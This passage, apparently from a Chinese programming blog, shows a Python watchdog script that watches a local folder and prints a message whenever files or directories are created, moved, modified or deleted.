def __init__(self):
FileSystemEventHandler.__init__(self)

def on_moved(self, event):
if event.is_directory:
print("directory moved from {0} to {1}".format(event.src_path,event.dest_path))
else:
print("file moved from {0} to {1}".format(event.src_path,event.dest_path))

def on_created(self, event):
if event.is_directory:
print("directory created:{0}".format(event.src_path))
else:
print("file created:{0}".format(event.src_path))

def on_deleted(self, event):
if event.is_directory:
print("directory deleted:{0}".format(event.src_path))
else:
print("file deleted:{0}".format(event.src_path))

def on_modified(self, event):
if event.is_directory:
print("directory modified:{0}".format(event.src_path))
else:
print("file modified:{0}".format(event.src_path))

if __name__ == "__main__":
observer = Observer()
event_handler = FileEventHandler()
observer.schedule(event_handler, r"C:\Users\wyq\Desktop\1", True)
observer.start()
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
observer.stop()
observer.join()
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝